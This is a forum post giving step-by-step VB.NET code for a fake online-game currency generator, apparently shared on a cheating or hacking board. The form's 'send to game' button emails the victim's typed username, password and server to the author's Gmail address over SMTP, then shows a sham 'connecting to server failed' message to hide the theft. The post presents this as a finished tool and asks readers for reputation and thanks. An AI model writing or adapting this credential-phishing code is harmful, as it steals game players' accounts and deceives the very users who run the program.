(adsbygoogle = window.adsbygoogle || []).push({});
[ATTACH=CONFIG]25901[/ATTACH][ATTACH=CONFIG]25902[/ATTACH][ATTACH=CONFIG]25903[/ATTACH][ATTACH=CONFIG]25904[/ATTACH][ATTACH=CONFIG]25905[/ATTACH]
see the images it should be like that
|
on top add this
Imports System.Net.Mail
|
|
in Form1_Load add this
Button1.Enabled = False
|
in button1(send to game) add this
Dim smtpServer As New SmtpClient()
Label6.Visible = True
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("yourmailhere ", "yourmailpasshere")
'using gmail
Dim smtp As New System.Net.Mail.SmtpClient
smtpServer.Port = 587
smtp.EnableSsl = True
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("yourmailhere ")
mail.To.Add("yourmailhere ")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text & ", " & "server: " & Cb1.Text
smtpServer.Send(mail)
If Label6.Visible = True Then
ProgressBar1.Value = 50
End If
MsgBox("connecting to server please wait... ")
Label6.Visible = False
Label7.Visible = True
If Label7.Visible = True Then
ProgressBar1.Value = 0
MsgBox("connecting to server failed ")
End If
optinal if you want on textbox only numbers add this else leave it blank
If Not IsNumeric(TextBox3.Text) Then
TextBox3.Text = ""
End If
in button2 (check in) add this
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
Button1.Enabled = False
Else
Button1.Enabled = True
End If
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Button1.Enabled = False
Else
Button1.Enabled = True
End If
If TextBox3.Text = "" Then
MsgBox("Wrong Silver amount of silver")
Button1.Enabled = False
Else
Button1.Enabled = True
End If
If TextBox4.Text = "" Then
MsgBox("Wrong Silver amount of gold")
Button1.Enabled = False
Else
Button1.Enabled = True
End If
If Cb1.Text = "" Then
MsgBox("server missing")
Button1.Enabled = False
Else
Button1.Enabled = True
End If
If Button1.Enabled = True Then
MsgBox("Please click the SEND TO GAME button")
End If
pls press the rep and thanks button
if any1 has problem with this message me on skype : killernoobs95
just tell me NGU in the add comment
thanks pichu:
You must login or register to view this content. for telling me to change the code and i make it better now